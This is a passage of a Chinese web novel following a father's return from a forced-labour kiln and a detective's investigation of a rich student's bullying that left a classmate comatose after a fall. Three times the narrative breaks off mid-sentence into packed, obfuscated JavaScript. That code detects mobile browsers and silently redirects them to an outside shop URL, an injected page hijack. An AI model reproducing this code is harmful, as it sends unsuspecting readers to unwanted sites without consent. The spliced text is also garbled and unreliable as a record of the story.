薛宓低头望着手里方才年轻女人硬塞给她的寻狗启事,目光落在“酬金1000元”几个字上。 能把酬金定这么高,这狗一定是被当成家人了吧…… “美美……” 正当两人提着大包小包的猫粮往回走时,一道低沉嘶哑的呼唤突然从身后传来。那声音枯哑难听,却奇怪地透着一股林美美记忆深处的熟悉感。 她瞬间僵在原地,连呼吸都停滞了。 这不可能……是幻听吗? 几乎是不敢置信地转过身,可当那个消瘦的身影映入眼帘时,林美美只感觉整个世界仿佛都静止了。 爸……爸? 那个在无数个深夜里,她只能对着照片思念的爸爸;那个在同学家长会上,她总是偷偷张望希望能突然出现的爸爸;那个她以为永远都不会再见的爸爸…… 此时此刻,竟站在了她的面前……? “爸——爸——!!!”这一刻,积蓄了四年的思念与委屈轰然决堤,化作一声撕心裂肺的呼喊。 是爸爸!真的是爸爸! 她的爸爸回来了! 她不是没有爸爸的孩子了! 几乎是瞬间转交出手中的购物袋,林美美泪眼婆娑地飞奔了过去。她就像只终于找到归途的雏鸟,跌跌撞撞地扑向了那个朝思暮想的身影。 林伟民原本还忐忑不安地站在原地,生怕女儿认不出这个面目全非的父亲。可当看到林美美毫不犹豫地哭着扑过来时,这个饱经风霜的男人再也忍不住,一把将女儿搂进怀里,哭得像个孩子。 “美美”这个名字,承载着林伟民和妻子吴美妤最美好的期许——“美”字承载着世间一切的美好。他们期盼着女儿能如这个名字般,拥有美丽的容颜,更拥有美好的人生。 然而他们的掌上明珠,却因为他们吃了太多苦……现在,正是他这个做爸爸的该弥补这一切的时候了…… “对不起……是爸爸对不起你……”粗糙的大手颤抖着抚摸女儿的头发,林伟民声音哽咽得几乎说不出完整的句子,“爸爸回来了……再也不走了……再也不让美美一个人了……” 望着父女两在马路边哭成泪人,听着那一声声哽咽的“对不起”,拎着两个购物袋的薛宓,胸口竟也泛起一阵陌生的酸胀感。 这种感觉很奇怪,像是有什么东西在轻轻揪着她的心脏。 直到,瞧见贺黎筠慢悠悠地晃了过来,薛宓立刻压下这股奇怪的情绪,语带不满地质问:“这就是你说的‘有事’?为什么不提前告诉我?” 贺黎筠伸手接过她手中的购物袋,嘴角挂着若有若无的笑:“是你先发了‘滚’的表情包。” “哼!”薛宓把头一扭。 贺黎筠望着她下巴扬得老高高的模样,觉得她更像那只闹别扭的小白猫了。 所以,在薛宓说自己想养那只胖橘白时,他下意识脱口而出:“我倒觉得那只小白猫更可爱一点。” 薛宓嫌弃地撇撇嘴:“就它最瘦最弱,总是抢不到奶吃,一看就是不好养活的病秧子。而且听说,白猫是猫界公认最丑的,我才不要养只丑猫呢!” “可你聊天时不是总爱发那只白猫表情包?我还以为你最喜欢它。” “那只是长毛狮子猫,还是漂亮的异瞳,跟这种小土猫肯定不能相提并论的。” 贺黎筠完全没想到,薛宓对猫猫竟还有鄙视链…… “而且,我感觉橘猫的智商比其他花色的猫猫要高。前两天我还刷到视频,有只橘猫会按按钮跟主人对话。比起笨笨的猫猫,我肯定想养一只能跟我说话的聪明猫猫。” 没想到薛宓理由一套一套的贺黎筠:“……” 他顿了顿,突然认真地反问:“养猫不是一件轻松的事。每天需要准时喂食、铲屎,生病了要带去看医生,这些都得你亲力亲为。如果你把橘白带回家,养着养着发现它其实笨到连猫砂盆都不会用,还把家里抓得乱七八糟,你会嫌弃它,甚至抛弃它吗?” “你带它回家后,又突然抛弃它的话,小猫也会伤心的。就像李然伟的爸爸那样……没有责任心的人当家长,是最糟糕的事。所以……” 他直视薛宓的眼睛:“想清楚再决定要不要负起这个责任。” 薛宓闻言愣住了。 她确实没想过这么多——只是觉得小猫可爱就想养,就像林美美单纯因为心疼猫妈妈就收留它一样。 但贺黎筠却提到了李国栋,那个把亲生儿子逼成魔方冠军的家暴犯。 薛宓瞬间炸毛,气得脸颊都鼓了起来:“你竟然把我跟那个人渣相提并论!就算我养的猫是全世界最笨的笨猫,我也绝不会嫌弃它、抛弃它的!我既然从那么多只猫猫里选中了它,那我就要做全世界最宠它的主人!” 另一旁,被爸爸牵着手回家的林美美,整个人轻飘飘的像是踩在云朵上。 掌心传来的温度真真切切,她还偷偷用指甲掐了掐自己的手心——会疼,不是梦!爸爸真的回来了! 四年来,那些被同龄人嘲笑“没爸爸”时强忍的泪水,和外公外婆孤苦无依时的无助,都在这一刻,化作了掌心温暖的温度。 最让她心头滚烫的是,爸爸从来没有抛弃她们……他失踪是为了给妈妈挣医药费,这四年他一直在黑窑厂里苦苦挣扎,就为了有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671739|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝一日能回家…… 现在,爸爸终于回家了……却也瘸了一条腿…… 她心头一酸,忍不住一遍又一遍偷瞄爸爸的侧脸,那张比记忆中憔悴太多的脸上此刻依旧挂着泪痕,却在与她对视时,立刻露出一个大大的笑容。 “美美,晚上想吃什么?爸爸等会就去菜市场买菜!好久没有烧饭了,不知道手艺有没有退步……你小时候最爱吃爸爸做的红烧肉了,还有……” 她不禁把爸爸的手攥得更紧了些:“还有糖醋小排、椒盐炒虾。” “恩恩。今天爸爸都给你烧!” 推开家门的那一刻,林伟民的视线瞬间被泪水模糊。 “爸、妈……”他哽咽着唤道。 听到熟悉的声音从玄关传来,两位老人颤抖着上前。布满老茧的手轻抚上林伟民消瘦的脸庞,像是在确认这不是梦境。 “回来就好……回来就好啊……”看到失踪四年的女婿平安归来,两位老人顿时老泪纵横。 他们原以为女婿是个抛妻弃女的负心汉,却不想这孩子是为了给女儿挣医药费,才会被骗去黑窑厂,生生被打断了一条腿…… 被岳父岳母抱头痛哭的林伟民,同样痛哭不已。 贺警官说得对,所有人都在等他回家……是他,回来得太迟太迟…… 当年为了救治妻子,林伟民耗尽了全部积蓄。父母早逝的他,甚至欠下了不少亲戚的债。 本以为回来要面对的是家徒四壁的凄凉景象,没想到环顾这个曾经熟悉的家,却发现屋里竟多了几件崭新的电器。 他有些好奇起贺黎筠口中那笔“赔偿款”的由来。 直到,被岳母欲言又止拉到一旁私语后才知道,家里突然多出的那笔赔偿金,竟是源于美美在学校遭遇了保安猥亵! 若非班主任和贺黎筠及时出手,后果简直不堪设想…… 都是他的错,若不是他失踪四年,美美又怎么会把一个恋童癖人渣当作依靠…… 为了表达谢意,林伟民执意要亲自下厨招待贺黎筠和薛宓。 时隔四年再次掌勺,起初难免手忙脚乱,但渐渐地,那些熟悉的动作又回来了——翻炒的力度,调味的拿捏,仿佛时光倒流,回到了四年前那个还未离开的时候。 贺警官说得对,从今天起,他要带着美美重新开始。 林伟民摸着膝盖,眼神却格外坚定——这条瘸腿算什么?比起能活着回到美美身边,这点残缺根本不算事儿! 等安顿下来就去大医院好好治,医生说能康复到什么程度,他就拼了命练到什么程度。治好了还要带美美去游乐园、去爬山、去钓鱼,把错过的这四年时光一点一点补回来。 他深吸一口气,把锅铲翻得哗哗响。 是啊,日子还长着呢,慢慢来,总会好起来的。美美需要个顶天立地的爸爸,而不是整天自怨自艾的瘸子。 想到这里,他转头朝客厅喊道:“美美,红烧肉马上就好!爸爸还给你炖了玉米排骨汤!” 32.新案 林伟民被困在黑窑厂整整四年。 别看这短短四年,对林伟民来说简直恍如隔世。 外面的世界早已天翻地覆。年轻人出门竟连钱包都不带?这让他这个连智能手机都用不利索的老古董着实有些手忙脚乱。 更麻烦的是,他被注销的账户、被判定死亡的身份,都要从头开始办理。 但每一份证明重新开具,每一个指纹重新录入,林伟民才真切体会到了什么叫重生的滋味,仿佛自己正一步步地把这四年被抹去的人生补回来。 但两周后,在贺黎筠和社区居委会的帮助下,终于办完手续的林伟民却望着满大街的骑手和快递员,心头酸涩。 要不是这腿拖后腿,他恨不得现在就跑去应聘,哪怕从最基础的送单开始干起也好。但现在,他这个瘸子,能找什么工作呢…… 正当他摸着那条使不上力的瘸腿陷入惆怅时,社区居委会的王主任打来了电话:“林伟民先生,我们这儿有个物业值班员的岗位,活不重,主要就管管门禁、登记快递……考虑到你的情况,还能申请残疾人补贴。” 电话那头的声音温暖又实在,拿着手机频频感谢的林伟民,眼眶不禁有些发热。 虽然工资不高,但足够他和美美重新开始了。 最重要的是,他终于能堂堂正正地做个让女儿骄傲的爸爸了。 原本薛宓几乎天天泡在林美美家撸猫,但自从林伟民当上物业值班员后,放心不下爸爸的林美美也跟着搬进了值班室——白天陪爸爸熟悉工作,晚上一起回家做饭。 看着父女俩其乐融融的样子,薛宓难得体贴地减少了串门的次数。不过让她一个人在家,她可闲不住,于是转头就三天两头往刑警支队跑,美其名曰“监督工作”,实则是想看看有没有新的猎物能让她活动筋骨。 队里众人对薛宓的频繁造访早已见怪不怪,都当是贺黎筠不放心让自家妹妹独自在家,才时常带着她来队里。 这小姑娘长得跟童模似的精致可爱,每次来都甜甜地挨个打招呼,队里上上下下没有不喜欢她的。 有次重案大队要通宵办案,临走前小姑娘还贴心地送来冰咖啡,把一群糙汉子感动得不行。薛宓一离开,就啧啧称奇地表示贺黎筠真的好福气,竟能领养到如此乖巧懂事的好妹妹。 对此,发现亲密付被扣款一大笔的贺黎筠:“……” 八月中旬的一个午后,阳光正好。林伟民特意请了半天假,带着精心定制的锦旗来到刑警支队。 这段时间,他的工作渐渐步入正轨,左腿也开始接受正规的康复治疗,生活终于拨云见日。 正和贺黎筠一同吃完午饭回来的薛宓,就见众目睽睽之下,林伟民一手拿着锦旗,一手激动地攥住贺黎筠的手,把感谢词说得声情并茂。 直把贺黎筠这张在队里经常面瘫的脸都夸得有些不好意思了…… 热闹的喧嚣过后,林伟民送来的那面锦旗被郑重其事地挂在了刑警支队的荣誉墙上。鲜红的锦旗在阳光下泛着光泽,上面“为民解忧”四个大字格外醒目。 然而就在锦旗挂上没多久,一位面容憔悴的中年妇女冲进值班室,对着贺黎筠哭得几乎站不稳:“贺警官,我要报案!我儿子不是自杀!我刚收到匿名信,说我儿子是被同学霸凌,被逼到天台才失足摔了下去……求求您帮我查查……” 这位中年妇女名叫周素芬,并非是第一次来刑警支队报案。 七月中旬,她儿子周砚修从学校天台坠落,至今仍在重症监护室里昏迷不醒。当时值班刑警就解释过,这类校园坠楼事件应由属地派出所先行调查,只有发现他杀嫌疑才会移交给刑警队。 在完成现场勘查、监控调取、基础证人询问后,派出所在一周后给出了调查结论:现场无打斗痕迹,监控显示是学生独自上的天台。结合期末考失利和单亲家庭的压力,最终认定这是一起自杀事件。 周素芳难以接受这份结案报告。 直到民警调出儿子社交账号上那句刺眼的“好想死”。 这三个字像一记闷棍,狠狠砸在周素芬头上。 她眼前一阵发黑,恍惚间又想起前段时间,儿子似乎有什么话想要对自己说,但当时她正为加班焦头烂额,只是敷衍地说了句“有什么事等妈妈忙完再说”。 而出事前一周,儿子还突然提到想在高三转去普通公立高中,她还生气地冲他吼说,自己没日没夜加班供他读最好的私立学校,就是为了让他考个好大学。然而,他却要在高三这个最关键的时刻转学!? 如今,这一幕幕画面都化为了利刃,一刀刀凌迟着她的心,令她日日夜夜都在痛苦地自责: 是不是自己望子成龙心切,给孩子的压力太大了? 是不是单亲家庭的成长环境让孩子太过压抑? 是不是自己忙于生计,忽略了孩子无声的求救? 才让自己本应享受青春的孩子,选择以如此决绝的方式结束生命…… 返校日当天,周素芬强忍悲痛到学校办理儿子的休学手续。没想到在整理儿子宿舍物品时,竟从儿子的被褥里抖落出一封匿名信。 信中揭露的真相,颠覆她所有的认知,竟说她儿子长期遭受魏明峻等人的校园霸凌,当天是被他们逼至天台栏杆上才失足坠楼! 而带头霸凌的魏明峻是本市龙头企业明辉集团董事长幼子,学校新建的科技大楼就是该企业捐建。校领导早已和魏家沆瀣一气,编造了很多人证物证,甚至参与调查的派出所民警,都收到了封口费。 看完匿名信内容,周素芬颤抖着几乎拿不稳这封信。 如果信中所说都是真的,如果儿子真的长期遭受霸凌…… 周素芳哽咽地不敢想下去。 作为一个母亲,她竟然对儿子的痛苦一无所知,竟然拒绝了他小心翼翼提出的转学申请……竟然只知道让他学习、学习、再学习…… 周素芳悔不当初。 然而,去分局申诉的念头刚冒出来,就被一阵刺骨的寒意压了下去——对方可是有头有脸的人物,万一…… 她失魂落魄地走在街上,突然被身旁一个醒目的红色锦旗吸引住了目光,抬眼就见,一个满脸感激的男人正捧着锦旗往刑警支队走去。 鬼使神差地,她的脚步不由自主地跟了上去。 望着那个男人紧紧攥着一位年轻刑警的手,神情激动地夸赞着,她的视线突然模糊了…… 是啊,只有这样刚正不阿的好警察,才可能帮她这个无权无势的单亲母亲讨回公道。 这一刻,浑身的血液仿佛都冲向了头顶,在众人惊愕的目光中,正哭着报案的周素芬,“咚”地跪在了贺黎筠面前。 “贺警官,求求您……一定要接下这个案子,为我儿子讨回公道啊……” 哪怕被他慌张搀扶起来,报案人仍哭得泣不成声。她哭得断断续续,每一个字都透着撕心裂肺的痛,但贺黎筠听的很认真。 他接过那封匿名信仔细端详。 打印纸上工整的字透露着关键信息:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676634|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【你儿子不是自杀! 他长期遭魏明峻等人霸凌, 那天是被逼到天台栏杆上才失足坠落! 魏明峻是明辉集团董事长儿子, 校科技大楼就是他家捐建的。 千万别去学校旁边的派出所报警, 校方收了魏家好处, 派出所拿了封口费, 他们都不可信!】 贺黎筠的眉头越皱越紧。虽然匿名信不能作为直接证据,但字里行间的细节太过具体——不仅指名道姓,连利益关系都说得一清二楚。 不太像是恶作剧。很可能是同样遭受霸凌的学生,因为害怕被认出笔迹被报复才选择这种方式。 他抬头看了眼哭成泪人的周素芬,又想起基层民警那点微薄的薪水……如果有人真开出天价封口费,难保不会有人动心。 如果真如信中所说,校方和派出所沆瀣一气……那这个案子,他们刑警支队必须管到底了。 本来有新案子上门,薛宓还挺感兴趣的。然而一听是“学生失足坠落”,她顿时兴致缺缺地撇了撇嘴。 又不是杀人…… 小孩子之间的霸凌能有多严重? 上了一年小学的薛宓,真的非常喜欢学校的氛围。在她看来,未成年之间能有什么深仇大恨? 说不定就是这个家长想太多,或者那个叫周砚修的学生自己性格太脆弱,才导致被同学欺负了。 当然,这些话她可不会当着那位哭成泪人的母亲说。瞧见贺黎筠全神贯注地做着笔录,她识趣地晃悠到附近超市,买了根甜筒有一搭没一搭地舔着。 甜腻的奶油在舌尖化开,却提不起她多少兴致。 就在她慢吞吞往回走时,余光忽然瞥见刑警支队大门旁有个鬼鬼祟祟的身影。 那是个穿着蓝白校服的瘦高男生,跟做贼似的,每隔几秒就神经质地抬头张望,又迅速低下头来。 他焦躁不安地来回踱步,双手不停绞着衣角,连书包带滑落到手肘都没察觉。 看上去,十足的惊惶不安,也不知道在不安什么…… 就在薛宓蹑手蹑脚走近,悄悄地对着他拍了一张照时,突然“叮”的一声——男生的手机响了。 他像只惊弓之鸟,浑身一颤,随即慌乱地划开手机屏幕。 不知是什么短信内容,只见他脸色“唰”地变得惨白,周身原本浅淡的灰色雾气,在转瞬间化作浓稠如墨的黑雾,翻滚着几乎要将他整个人吞噬。 薛宓眯起眼睛。 这是濒临绝望、意图轻生之人才会有的气息。 果然,方才还在刑警支队门口徘徊的男生,失魂落魄地转了身。 “小心!” 一辆轿车疾驰而来。薛宓一个箭步冲上去,拽着他的书包带把人拉了回来。 男生被拽得踉跄后退,轿车几乎是擦着他的身前呼啸而过。 “呼——好险!” 薛宓装作惊魂未定的样子,小手拍着胸口。却见男生并未回应自己,而是脸色苍白地跌坐在地上,身上的黑雾非但没有减退,反而越来越浓。 “大哥哥,你没事吧?”她小手在他眼前晃了晃,目光却落在了校服上“明德国际”这四个字。 “怎么脸色这么白,是不是哪里不舒服?还是遇到什么困难了?”她转身指向不远处的刑警支队,“要不要去找警察叔叔帮忙?我哥哥就在里面工作,他超厉害的哦。” 无事可干的薛宓,决定还是接下这个活了。 33.霸凌 【周砚修他妈怎么跑刑警队去了?是你小子搞的鬼吧?】 突然响起的短信,令许昭阳的手控制不住地轻颤着。浑身的血液仿佛在这一刻凝固,方才鼓起的勇气就像是被戳破的皮球,倏地泄了个干净。 今天是返校日,他在教务处门口撞见周妈妈来办休学手续,才知道,那次坠楼后,周砚修至今昏迷未醒,而案子也已被派出所以“自杀”草草了结。 他听着校领导虚伪的慰问,看着周妈妈憔悴的面容,仿佛被这荒诞的画面狠狠扇了一记耳光。胃里翻涌的酸水直冲喉咙,他逃也似地冲进走廊尽头的厕所,反锁上门。 “呕——” 胃部痉挛着,却什么也吐不出来。 许昭阳撑着洗手台大口喘息,镜中映出的那张脸惨白如纸。恍惚间,这副狼狈模样竟让他想起了与周砚修的初遇——那天他被魏明峻堵在厕所隔间,也是这般面色惨白地发抖,是周砚修踹开门把他拉了出来。 不,不是自杀! 冰凉的自来水哗啦啦地冲刷着脸庞,却怎么也浇不灭许昭阳心头那个疯狂滋长的念头。 他,必须要告诉周妈妈真相! 所以,得知周妈妈要去宿舍收拾儿子物品时,他立刻偷溜进微机室,颤抖地敲下那封匿名信,并折成小小一方,塞进了周砚修的被子夹层里。 但他怎么也没有想到,刑警支队里,竟也有魏氏集团的爪牙! 【今晚8点,老地方。你最好准时到,除非你想让你爸明天就失业!】 一想到老地方见面后,会发生什么,许昭阳只觉得天旋地转,连呼吸都变得困难起来。 他爸爸许卫东,是魏氏集团董事长夫人的专属司机。 这两年,为了这份工作,爸爸每天天不亮就要去魏家候着,深更半夜才能回家,连妈妈病重住院时都不敢请一天假。 为了让他能近水楼台,爸爸更是硬咬着牙把他送进了这所贵族私立学校,希望他能和魏少爷处好关系。 然而爸爸不知道,所谓的“处好关系”,就是给魏明峻当狗。 魏明峻的作业永远是他熬夜完成的。课间跑腿买饮料,稍慢一点就要被泼得满身都是;考试时被迫交换试卷,成绩单上永远挂着不属于自己的低分……甚至,魏明峻还经常当着他跟班的面,把脚踩在他膝盖上,趾高气昂地让他给自己系鞋带。 他跪在地上,手指颤抖着系那个该死的鞋带。耳边是此起彼伏的哄笑,还有手机拍照的“咔嚓”声。 但这一切,他都咬牙忍下了。 只要继续扮演这条听话的狗,爸爸就能拿到更多奖金,妈妈昂贵的靶向药就不会断供……所以,他必须要听话。 把满嘴的血腥味和眼泪全部咽回肚子里…… 直到高二那年,他被魏明峻堵在厕所殴打时,碰巧被路过的周砚修撞见。 这个隔壁班的学生根本不知道魏明峻的可怕,竟然挺身而出。 许昭阳永远忘不了魏明峻当时的表情,就像发现了新玩具的恶童。 从那以后,周砚修的噩梦开始了。课本上写满污言秽语,桌椅时不时的失踪,上完厕所后身上还会“不小心”多几道淤青…… 最可笑的是,周砚修还天真地向老师求助。而非常讽刺的,得知周砚修妈妈的公司偏偏是魏氏集团的供应商后,他也跟着沉默了下来。 魏明峻只是轻飘飘的一句“这家的产品质量不行”,魏氏集团采购部就发来了终止合作的通知函。 为了保住这个单子,他妈妈就在公司里焦头烂额地加起了班,完全不知公司突然面临的危机,源头竟是自己儿子在学校的多管闲事。 而魏明峻也只需要一句话,就能让周妈妈直接卷铺盖滚蛋…… 所以那天起,周砚修就变得像他一样,成为了魏明俊呼之而来挥之而去的狗。 出事那天晚上,魏明峻把他们叫到了天台。 因为他这次没复习好,导致魏明俊这次期末考试成绩下滑。作为惩罚,魏明峻强迫他们坐到天台边缘的栏杆上。 周砚修脸色煞白地表示自己恐高,不愿过去。魏明峻直接一把揪住周砚修的衣领,粗暴地往栏杆方向拖拽。 在众人的哄笑声中,他就见周砚修战战兢兢地爬上栏杆,而后似乎是恐高导致的晕眩,他睁大的眼睛里满是惊恐,双手在空中徒劳地抓了几下,就这么消失在了天台边缘。 ——他本该拉住他的。 是他连累了周砚修。 是他害死了周砚修。 “小心!” 书包带突然被人猛地一拽,许昭阳整个人踉跄地向后跌坐在地上。 “呼——好险!” 耳边是刺耳的刹车声和路人的惊呼。 “大哥哥,你没事吧?” 朦胧的视线渐渐聚焦,映入眼帘的是一个扎着双马尾的小女孩。她正歪着头担忧地望着他,阳光在她发梢跳跃,让他的鼻头忽然间一酸。 ——为什么死的人不是他。 “怎么脸色这么白,是不是哪里不舒服?还是遇到什么困难了?” “要不要去找警察叔叔帮忙?我哥哥就在里面工作,他超厉害的哦。” “谢、谢谢……” 泪水在眼眶里翻滚,许昭阳死死咬着嘴唇,终只是摇了摇头。 多么讽刺啊——一个素不相识的小朋友,都比学校里那些朝夕相处的同学更关心他的死活。 而在被陌生的小朋友关心的那一霎那,压抑已久的情绪就像是决堤而出,令他连一句完整的话都没能留下,就踉踉跄跄地转身离去。 什么啊……薛宓皱了皱眉。 手里的甜筒已经化得满手都是,但薛宓没有再买一根补偿自己,而是三步并作两步冲回了刑警支队。 果然在周素芳提供的照片里,看到了和刚才男生一模一样的校服。 她嘴角一勾道:“我知道塞匿名信的是谁了~我刚在门口看到了一个穿着明德国际的男生,他失魂落魄的,差点被车撞死,是我及时拉了他一把。” 贺黎筠一愣,连忙站起身道:“他人呢?已经走远了吗?你还记得他的长相吗?” “他身上缠绕着自杀的黑雾,你现在贸然找上门,只会打草惊蛇。不过我有他的照片。看他鬼鬼祟祟的,就顺手拍了下来。” 将自己偷拍到的男生侧脸举到贺黎筠的面前,薛宓嘴角再次弯起,一副“快夸我吧”的小表情。 手机屏幕的亮光映得她小脸明亮了几分,贺黎筠怔了怔,声音不自觉地放柔了几分:“做得很好。” 校园霸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688529|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌案牵连的学生已有自杀倾向,再拖下去很可能再多一个无法挽回的悲剧。意识到事态性,贺黎筠当天就向领导申请了重启调查。 然而,调查进展并不顺利。 “周砚修?那孩子就是心理承受能力太差。否则怎么会在网上说什么‘好像死’……” “同学之间小打小闹很正常。校园霸凌?怎么可能!我们可是重点高中啊!” “魏明峻是走读生,当天晚上并不在学校。” 很明显,校领导到班主任都已提前串好了供,监控录像也只保留了周砚修独自上楼的画面,其余的删得干干净净。说是因为监控内存有限,上次警察来了检查无问题后就删了。 而尚未开学的校园空荡荡的。贺黎筠挨个给两个班级的学生打电话询问,得到的也都是千篇一律的回答。就连疑似提供匿名信的许昭阳,在面对上门询问时也只是低着头,一言不发。 得知这个结果的薛宓,郁闷地问:“就算魏明俊再谨慎,也不可能没有一个人看见啊?他们为什么都不肯说?” “因为利益共同体。”贺黎筠轻叹一声。 随着调查深入,他逐渐明白了这个简单的案子为何会如此草率结案。 明德国际是青江市首屈一指的私立高中,每年学费高达15万元。以卓越的师资力量和强大的升学资源著称。 根据最新统计,该校91%的毕业生都能进入QS世界排名前50的顶尖大学,更有73%的学子成功考入全球前30的名校。 导致有些家长砸几十万都要买上一个借读生名额…… “校园霸凌丑闻会影响学校声誉,进而影响他们的升学前景。高昂学费筛选出的同质化群体,本质上就是一个利益共同体。无论是学生、家长,还是老师,他们更是在意升学的利益。打破沉默意味着被整个系统排斥。” 而那些靠奖学金入学的寒门学子和那些砸钱进来的借读生呢?他们选择沉默,是因为害怕成为下一个周砚修。只要不招惹魏明俊,就能平安毕业——这是最现实的生存法则。 “当权力与资本勾结形成压制系统时,沉默就成了生存本能。而这,正是校园霸凌最可怕的温床。” 而比起学校,更令人棘手的是魏氏集团盘根错节的庞大势力。 这个横跨医药、地产、金融等多个领域的商业帝国,在医疗行业更是占据龙头地位,与各方关系盘根错节。 目前,魏氏集团董事长魏延璋只对外公开了两个儿子。 长子魏明璟今年三十一岁,是已故原配所生,年纪轻轻就执掌了集团核心的医药分公司,行事低调稳重。 而魏明俊原本是魏延璋与现任妻子的私生子。 在原配夫人病逝前,这段婚外情就已持续多年。十六年前原配郁郁而终后,魏延璋就迫不及待地将情人扶正,魏明俊也从见不得光的私生子摇身一变成了魏家二少爷。 而中考失利后,魏家直接给明德国际捐了一栋科技楼,硬是把这位二世祖塞进了起来。 当然,就算魏氏集团关系再硬,贺黎筠也绝不会退缩。 可就在他带队调查半个月却一无所获时,一起突如其来的贪污大案爆发了。 整个刑警支队顿时忙得人仰马翻,而贺黎筠也被领导叫到了办公室谈话。 34.打扮 “小贺啊,你们在这个校园案上耗费了太多警力。现在积压的案件太多,你们组得尽快结案,转向更重要的刑事案件。” 话虽委婉,但贺黎筠怎么可能不明白——上面施压了,用一桩大案来掩盖另一桩案子。 可越是阻挠,贺黎筠的倔劲儿反而越是上来了。 但随后,贺黎筠就被安排了一堆紧急任务,忙到他根本分身无术。 立案后两个月内需侦查终结……而涉案人员都是未成年人,讯问时必须通知监护人到场,每次讯问时间不得超过4小时,连夜间突审这样的常规手段都无法使用。 想要调取同学间的聊天记录作为电子证据?因涉及未成年人隐私,调取程序极其繁琐,等审批下来早就错过了最佳取证时机。 见贺黎筠难得愁眉苦脸的模样,薛宓在旁狡黠一笑:“你们警察问话,他们当然不会说实话。不过嘛……”她故意拖长了音调,“要是我能混进明德国际,录下他们霸凌的证据呢?” 贺黎筠一愣,抬起头时,就见原本只到他腰间的小女孩,眨眼间已化作亭亭玉立的少女模样。 她俏皮地朝着他眨了眨眼:“我可以转学去明德国际,接近魏明俊和许昭阳。” “只要他心存恶念,我就能……审判他。”对于如何运用恶念,惩治恶人这种事,薛宓早已驾轻就熟,甚至还有些迫不及待。 贺黎筠喉头一滚:“好。” 但转而,眉头紧锁道:“明德国际一学期光学费就要七万五,这还只是基础费用。作为重点私立,并不是有钱就能转学进来的……要非常有钱才行。他们会对家长进行严格背调,要查资产证明、社会地位……” 说着说着,他的声音越来越小。一个普通刑警的年收入,怕是连入学资格审查的门槛都够不着。 薛宓原本跃跃欲试的小表情不禁跟着垮了下来。 她不死心地问:“那魏明俊总有什么常去的地方吧?暑假这么长,他总不能天天宅在家里吧?有没有什么能让我接近他的场合? “确实有。”贺黎筠揉了揉眉心,“我们盯梢时发现他常带着许昭阳去一家叫‘迷夜’的高端夜店。不过,他每次去都直接上五楼VIP区,那里有专属电梯和保镖,普通客人根本进不去。” “夜店?”薛宓歪着头,一脸天真,“就是那种卖宵夜的店吗?” 贺黎筠差点被自己口水呛到:“不是……是成年人喝酒跳舞的娱乐场所……” “成年人?可魏明俊不是才十七岁吗?为什么他能进去?” “法律规定的是禁止未满十六周岁的未成年人进入娱乐场所。魏明俊刚好卡在合法边缘。虽然理论上不该放他这个年纪的人进去,但夜店接待他并不算违规。” 说着说着,贺黎筠自己都觉得讽刺——这些高档夜店向来是看人下菜碟。普通高中生当然进不去,但像魏明俊这样的富二代,怕是店家巴不得他常来消费。 薛宓敛下眉沉思了一会儿,眼睛一转道:“普通客人是进不去,但监控拍不到我呀。人的本性难移,他在学校霸凌许昭阳,在外面怎么可能不欺负他。只要录到证据不就行了吗?” 贺黎筠只是缺一个能合法传唤和审讯魏明俊的突破口。别看这些纨绔子弟平日里仗着家世无法无天,一旦真凭实据摆在面前,被押进审讯室后,多半会吓得屁滚尿流、哭爹喊娘的。 “包在我身上!”薛宓信誓旦旦地拍着胸脯。 贺黎筠欲言又止。他其实更怕夜店这种地方教坏薛宓…… 第二天傍晚,贺黎筠刚结束工作就接到了薛宓的电话。 电话那头,不同于往日的少女音透着兴奋,说自己已经准备好啦,让他快来接她去迷夜。 他一边开车一边盘算着行动方案:薛宓不会被监控拍到,到时候他负责引开保安注意,让她趁机溜上五楼…… 正这么想着拐进小区时,余光忽然扫到路边站着个穿黑色吊带裙的少女,正低头专注地刷着手机。 贺黎筠漠不关心地扫了一眼就移开视线,下一秒就从后视镜里看见这个吊带裙少女竟疯狂地在后面追着自己的车。 “吱——”他猛地一个急刹车,有些不敢置信地看着追上来正不满着拍打车窗,示意他解锁开门的薛宓。 “你……你怎么穿成这个样子?” 薛宓麻溜地钻进了副驾驶座:“你妈快下班了,你也不想让你妈看见一个陌生女人从你家出来吧?” “不是……我是问你怎么穿得这么……”修长的双腿裹在半透明黑丝里突然闯入视线,贺黎筠的声音都有些变调。 天知道他看见薛宓这幅着装打扮有多惊悚吗? 裙子短得只包了一个臀!胸口低到弯腰进来时都差点走光了! “不好看吗?”薛宓皱了皱眉,“我昨晚网购的夜店穿搭,衣服袜子加鞋一共258。性价比应该算不错的。” 